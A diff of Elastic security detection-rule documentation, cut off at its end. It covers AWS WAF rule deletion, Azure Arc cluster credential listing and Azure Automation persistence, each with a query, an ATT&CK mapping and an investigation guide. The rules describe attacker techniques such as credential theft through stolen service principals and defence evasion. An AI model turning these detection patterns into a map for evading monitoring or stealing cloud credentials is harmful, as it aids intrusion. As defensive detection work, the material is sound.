+*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS WAF +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS WAF Rule or Rule Group Deletion* + + +AWS WAF rules and rule groups define the security boundary for web applications by blocking malicious inputs, +enforcing rate-based protections, and applying managed or custom signatures. Deleting a rule or rule group immediately +weakens this boundary. Adversaries who obtain sufficient permissions may delete these protections to remove detection of malicious payloads prior to exploitation or erase defenses protecting high-value APIs. + +This rule detects successful `DeleteRule` or `DeleteRuleGroup` API calls in CloudTrail. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `user_identity.access_key_id` to determine which principal performed the deletion. +- Determine whether the principal normally manages WAF resources or appears anomalous (new key, unused IAM role, unexpected federation source). + +**Inspect the request context** +- Review `source.address`, `source.geo` fields, and `user_agent.original` to determine if the request originated from a known enterprise IP range, a CI/CD runner or automation tool, an unfamiliar network, region, or browser/CLI pattern. + +**Understand what was deleted** +- Review `aws.cloudtrail.request_parameters` for `RuleId` or `RuleGroupId`, any referenced WebACLs using the rule, metadata indicating whether the deleted rule was part of production traffic control. + +**Correlate surrounding activity** +- Look for adjacent CloudTrail events: + - modifications to WebACLs (`UpdateWebACL`) + - creation of permissive rules (`CreateRule`, `PutRule`) after deletion + - IAM privilege escalation events + - unusual S3, API Gateway, or ALB access patterns immediately after the rule deletion +- Determine if deletion preceded or followed exploit attempts visible in application logs. + +**Establish operational context** +- Confirm whether the deletion aligns with a deployment pipeline, scheduled maintenance, rule tuning by security teams. If not, treat the event as potentially malicious. + +**Engage relevant owners** +- Contact application security or platform engineering teams to verify whether the rule or rule group deletion was authorized. + + +*False positive analysis* + + +- **Authorized deployment workflows** + Some organizations rebuild WAF rules programmatically during deployments. Validate expected CI/CD service roles and event timing. + +- **Automated rule regeneration** + Certain WAF-as-code approaches temporarily delete and recreate rules. Confirm if the event corresponds to an expected automation cycle. + +- **Security team testing** + Teams may temporarily disable or remove rules during testing of new signatures or rate controls. Verify scheduling and ownership. + +- **Non-production environments** + Development or staging accounts may routinely alter WAF rules. Tune the rule by account, environment tags, or namespaces to reduce noise. + + +*Response and remediation* + + +- **Contain the incident** + - Immediately verify whether the deletion was intentional. + - If unauthorized, revoke active access keys or disable implicated IAM roles/sessions. + +- **Reinstate protections** + - Restore the deleted rule or rule group from infrastructure-as-code definitions, backups, or documented configuration. + - Inspect associated WebACLs to ensure no additional rules were removed or modified. + +- **Investigate follow-on activity** + - Review application logs for suspicious requests following WAF rule removal. + - Investigate potential exploitation attempts (SQLi, XSS, API abuse, authentication bypass). + +- **Harden IAM and WAF governance** + - Limit WAF deletion operations to tightly controlled IAM roles. + - Enforce MFA and short session durations for privileged accounts. + - Consider guardrails using AWS Config or SCPs to prevent deletion of production WAF rules. + +- **Post-incident improvements** + - Update runbooks to track planned WAF changes. + - Strengthen CI/CD guardrails to prevent unauthorized rule manipulation. + - Enhance alerting for other high-risk WAF configuration changes. + + +*Additional information* + + +- **DeleteRule API (WAF Classic & Regional)** + https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRule.html +- **DeleteRuleGroup API (WAFv2)** + https://docs.aws.amazon.com/waf/latest/APIReference/API_waf_DeleteRuleGroup.html +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: (waf.amazonaws.com or waf-regional.amazonaws.com or wafv2.amazonaws.com) + and event.action: (DeleteRule or DeleteRuleGroup) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc new file mode 100644 index 0000000000..4d9079291c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-azure-arc-cluster-credential-access-by-identity-from-unusual-source]] +=== Azure Arc Cluster Credential Access by Identity from Unusual Source + +Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://learn.microsoft.com/en-us/cli/azure/connectedk8s#az-connectedk8s-proxy +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://nvd.nist.gov/vuln/detail/cve-2022-37968 + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Arc +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Arc Cluster Credential Access by Identity from Unusual Source* + + +The `listClusterUserCredential` operation on an Azure Arc-connected cluster returns credentials that allow the caller +to establish a proxy tunnel via `az connectedk8s proxy`. This proxy routes kubectl commands through the Azure ARM API, +enabling Kubernetes access without direct network connectivity to the cluster API server. + + +*Possible investigation steps* + + +- Identify the caller service principal using `azure.activitylogs.identity.claims.appid` and cross-reference with + Azure AD to determine if this is a known application. +- Check the source IP and geolocation — is this from a country or ASN where your organization operates? +- Correlate with Azure Sign-In Logs around the same time to see the full authentication chain (SP login followed by + credential listing). +- Verify the Azure role used — the `Azure Arc Enabled Kubernetes Cluster User Role` is required for this operation. + Was this role recently assigned? +- Check if subsequent Arc-proxied operations (secret/configmap CRUD) occurred after the credential access. +- Review the service principal creation date in Azure AD — recently created SPs are more suspicious. + + +*Response and remediation* + + +- If the source IP is from an unexpected country or the service principal is not recognized, treat as potential + credential compromise. +- Revoke the service principal credentials and remove Arc RBAC role assignments. +- Review Kubernetes audit logs for any operations performed through the Arc proxy after credential access. +- Rotate any Kubernetes secrets that may have been accessed. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" + and azure.activitylogs.operation_name: "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/LISTCLUSTERUSERCREDENTIAL/ACTION" + and event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-account-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-account-created.asciidoc new file mode 100644 index 0000000000..7c4ff03f5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-account-created.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-azure-automation-account-created]] +=== Azure Automation Account Created + +Identifies when an Azure Automation account is created. Azure Automation accounts can be used to automate management tasks and orchestrate actions across systems. An adversary may create an Automation account in order to maintain persistence in their target's environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Account Created* + + +Azure Automation accounts facilitate the automation of management tasks and orchestration across cloud environments, enhancing operational efficiency. However, adversaries may exploit these accounts to establish persistence by automating malicious activities. The detection rule monitors the creation of these accounts by analyzing specific Azure activity logs, focusing on successful operations, to identify potential unauthorized or suspicious account creations. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the creation of the Automation account by checking for the operation name "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and ensure the event outcome is marked as Success. +- Identify the user or service principal that initiated the creation of the Automation account by examining the associated user identity information in the activity logs. +- Investigate the context of the Automation account creation by reviewing recent activities performed by the identified user or service principal to determine if there are any other suspicious or unauthorized actions. +- Check the configuration and permissions of the newly created Automation account to ensure it does not have excessive privileges that could be exploited for persistence or lateral movement. +- Correlate the Automation account creation event with other security alerts or logs to identify any patterns or indicators of compromise that may suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when legitimate users create Azure Automation accounts for operational purposes. To manage this, maintain a list of authorized personnel and their expected activities, and cross-reference alerts with this list. +- Automated deployment scripts or infrastructure-as-code tools might create automation accounts as part of their normal operation. Identify these scripts and exclude their associated activities from triggering alerts by using specific identifiers or tags. +- Scheduled maintenance or updates by cloud service providers could result in the creation of automation accounts. Verify the timing and context of the account creation against known maintenance schedules and exclude these from alerts if they match. +- Development and testing environments often involve frequent creation and deletion of resources, including automation accounts. Implement separate monitoring rules or environments for these non-production areas to reduce noise in alerts. + + +*Response and remediation* + + +- Immediately review the Azure activity logs to confirm the creation of the Automation account and identify the user or service principal responsible for the action. +- Disable the newly created Azure Automation account to prevent any potential malicious automation tasks from executing. +- Conduct a thorough investigation of the user or service principal that created the account to determine if their credentials have been compromised or if they have acted maliciously. +- Reset credentials and enforce multi-factor authentication for the identified user or service principal to prevent unauthorized access. +- Review and adjust Azure role-based access control (RBAC) policies to ensure that only authorized personnel have the ability to create Automation accounts. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems or accounts have been compromised. +- Implement enhanced monitoring and alerting for future Automation account creations to quickly detect and respond to similar threats. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-runbook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-runbook-created-or-modified.asciidoc new file mode 100644 index 0000000000..2cdb1e8f6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-runbook-created-or-modified.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-azure-automation-runbook-created-or-modified]] +=== Azure Automation Runbook Created or Modified + +Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Runbook Created or Modified* + + +Azure Automation Runbooks are scripts that automate tasks in cloud environments, enhancing operational efficiency. However, adversaries can exploit them to execute unauthorized code and maintain persistence. The detection rule monitors specific Azure activity logs for runbook creation or modification events, flagging successful operations to identify potential misuse. This helps in early detection of malicious activities, ensuring cloud security. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific runbook that was created or modified, focusing on the operation names: "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE", "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE", or "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION". +- Check the event.outcome field to confirm the operation was successful, as indicated by the values "Success" or "success". +- Identify the user or service principal that performed the operation by examining the relevant user identity fields in the activity logs. +- Investigate the content and purpose of the runbook by reviewing its script or configuration to determine if it contains any unauthorized or suspicious code. +- Correlate the runbook activity with other security events or alerts in the environment to identify any patterns or related malicious activities. +- Verify if the runbook changes align with recent legitimate administrative activities or if they were unexpected, which could indicate potential misuse. + + +*False positive analysis* + + +- Routine updates or maintenance activities by authorized personnel can trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks. +- Automated deployment processes that include runbook creation or modification might be flagged. Identify and exclude these processes by tagging them with specific identifiers in the logs. +- Integration with third-party tools that modify runbooks as part of their normal operation can result in false positives. Work with your IT team to whitelist these tools or their associated accounts. +- Frequent testing or development activities in non-production environments may cause alerts. Consider setting up separate monitoring rules or thresholds for these environments to reduce noise. +- Scheduled runbook updates for compliance or policy changes can be mistaken for suspicious activity. Document these schedules and adjust the detection rule to account for them, possibly by excluding specific operation names during these times. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Automation account to prevent further unauthorized runbook executions. This can be done by disabling the account or restricting its permissions temporarily. +- Review the modified or newly created runbooks to identify any malicious code or unauthorized changes. Remove or revert any suspicious modifications to ensure the integrity of the automation scripts. +- Conduct a thorough audit of recent activities associated with the affected Azure Automation account, focusing on identifying any unauthorized access or changes made by adversaries. +- Reset credentials and update access controls for the affected Azure Automation account to prevent further unauthorized access. Ensure that only authorized personnel have the necessary permissions to create or modify runbooks. +- Implement additional monitoring and alerting for Azure Automation activities, specifically focusing on runbook creation and modification events, to enhance early detection of similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been compromised. +- Document the incident, including all actions taken and findings, to improve response strategies and update incident response plans for future reference. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION" + ) and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-runbook-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-runbook-deleted.asciidoc new file mode 100644 index 0000000000..d33b7d4a75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-runbook-deleted.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-azure-automation-runbook-deleted]] +=== Azure Automation Runbook Deleted + +Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to disrupt their target's automated business operations or to remove a malicious runbook for defense evasion. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Runbook Deleted* + + +Azure Automation Runbooks automate repetitive tasks in cloud environments, enhancing operational efficiency. Adversaries may exploit this by deleting runbooks to disrupt operations or conceal malicious activities. The detection rule monitors Azure activity logs for successful runbook deletions, signaling potential defense evasion tactics, and alerts analysts to investigate further. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking the operation name "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity information in the activity logs. +- Investigate the timeline of events leading up to and following the runbook deletion to identify any suspicious activities or patterns, such as unauthorized access attempts or changes to other resources. +- Check for any recent modifications or unusual activities in the affected Azure Automation account to determine if there are other signs of compromise or tampering. +- Assess the impact of the deleted runbook on business operations and determine if any critical automation processes were disrupted. +- If applicable, review any available backup or version history of the deleted runbook to restore it and mitigate operational disruptions. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may lead to legitimate runbook deletions. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or third-party tools that manage runbooks might trigger deletions as part of their normal operation. Identify these tools and exclude their activity from alerts by filtering based on their service accounts or IP addresses. +- Organizational policy changes or cloud environment restructuring can result in planned runbook deletions. Document these changes and adjust the detection rule to exclude these events by correlating with change management records. +- Test environments often involve frequent creation and deletion of runbooks. Exclude these environments from alerts by using tags or specific resource group identifiers associated with non-production environments. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Automation account to prevent further unauthorized deletions or modifications of runbooks. +- Review the Azure activity logs to identify the user or service principal responsible for the deletion and revoke their access if unauthorized. +- Restore the deleted runbook from backups or version control if available, ensuring that the restored version is free from any malicious modifications. +- Conduct a security review of all remaining runbooks to ensure they have not been tampered with or contain malicious code. +- Implement stricter access controls and auditing for Azure Automation accounts, ensuring that only authorized personnel have the ability to delete runbooks. +- Escalate the incident to the security operations team for further investigation and to determine if additional malicious activities have occurred. +- Enhance monitoring and alerting for similar activities by integrating additional context or indicators from the MITRE ATT&CK framework related to defense evasion tactics. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-webhook-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-webhook-created.asciidoc new file mode 100644 index 0000000000..4770452d2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-automation-webhook-created.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-azure-automation-webhook-created]] +=== Azure Automation Webhook Created + +Identifies when an Azure Automation webhook is created. Azure Automation runbooks can be configured to execute via a webhook. A webhook uses a custom URL passed to Azure Automation along with a data payload specific to the runbook. An adversary may create a webhook in order to trigger a runbook that contains malicious code. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://www.ciraltos.com/webhooks-and-azure-automation-runbooks/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Webhook Created* + + +Azure Automation webhooks enable automated task execution via HTTP requests, integrating with external systems. Adversaries may exploit this by creating webhooks to trigger runbooks with harmful scripts, maintaining persistence. The detection rule identifies webhook creation events, focusing on specific operation names and successful outcomes, to flag potential misuse in cloud environments. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the webhook creation by examining the `event.dataset` and `azure.activitylogs.operation_name` fields. +- Check the associated runbook linked to the created webhook to determine its purpose and inspect its content for any potentially malicious scripts or commands. +- Investigate the source IP address and location from which the webhook creation request originated to identify any unusual or unauthorized access patterns. +- Verify the legitimacy of the webhook by contacting the owner of the Azure Automation account or the relevant team to confirm if the webhook creation was expected and authorized. +- Assess the broader context of the activity by reviewing recent changes or activities in the Azure Automation account to identify any other suspicious actions or configurations. + + +*False positive analysis* + + +- Routine webhook creations for legitimate automation tasks can trigger false positives. Review the context of the webhook creation, such as the associated runbook and its purpose, to determine if it aligns with expected operations. +- Frequent webhook creations by trusted users or service accounts may not indicate malicious activity. Consider creating exceptions for these users or accounts to reduce noise in alerts. +- Automated deployment processes that involve creating webhooks as part of their workflow can be mistaken for suspicious activity. Document these processes and exclude them from triggering alerts if they are verified as safe. +- Integration with third-party services that require webhook creation might generate alerts. Verify these integrations and whitelist them if they are part of approved business operations. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately disable the suspicious webhook to prevent further execution of potentially harmful runbooks. +- Review the runbook associated with the webhook for any unauthorized or malicious scripts and remove or quarantine any identified threats. +- Conduct a thorough audit of recent changes in the Azure Automation account to identify any unauthorized access or modifications. +- Revoke any compromised credentials and enforce multi-factor authentication (MFA) for all accounts with access to Azure Automation. +- Notify the security team and relevant stakeholders about the incident for further investigation and to ensure awareness of potential threats. +- Implement enhanced monitoring and alerting for webhook creation and execution activities to detect similar threats in the future. +- Document the incident, including actions taken and lessons learned, to improve response strategies and prevent recurrence. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WEBHOOKS/ACTION" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WEBHOOKS/WRITE" + ) and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-blob-storage-container-access-level-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-blob-storage-container-access-level-modified.asciidoc new file mode 100644 index 0000000000..8b1ce702c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-blob-storage-container-access-level-modified.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-azure-blob-storage-container-access-level-modified]] +=== Azure Blob Storage Container Access Level Modified + +Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Asset Visibility +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage 